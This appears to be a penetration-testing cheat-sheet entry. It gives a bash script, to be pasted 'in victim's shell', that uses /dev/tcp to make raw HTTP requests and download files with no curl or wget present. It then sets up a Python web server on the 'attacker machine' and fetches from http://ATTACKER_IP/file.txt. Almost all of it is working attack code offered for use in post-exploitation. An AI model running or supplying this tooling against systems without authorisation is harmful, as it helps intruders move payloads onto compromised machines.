Use BASH to download files

Paste this in victim's shell

cat << 'EOF' > curl.sh
#!/usr/bin/env bash

if [[ -z "$1" ]]; then
  echo "Usage: $0 http://host[:port]/path" >&2
  exit 1
fi

if [[ "$1" != http://* ]]; then
  echo "Only http:// URLs supported (no HTTPS)" >&2
  exit 1
fi

url="${1#http://}"

hostport="${url%%/*}"
path="/${url#*/}"

[[ "$url" == "$hostport" ]] && path="/"

host="${hostport%%:*}"
port="${hostport##*:}"

[[ "$host" == "$port" ]] && port=80

exec 3<>"/dev/tcp/${host}/${port}" || {
  echo "Connection failed" >&2
  exit 1
}

printf "GET %s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n" "$path" "$host" >&3

while IFS=$'\r' read -r line <&3; do
  [[ "$line" == "" ]] && break
done

cat <&3

exec 3>&-
EOF

chmod +x curl.sh

## make a python server in attacker machine
sudo python3 -m http.server 80

## To use it
./curl.sh http://ATTACKER_IP/file.txt > file.txt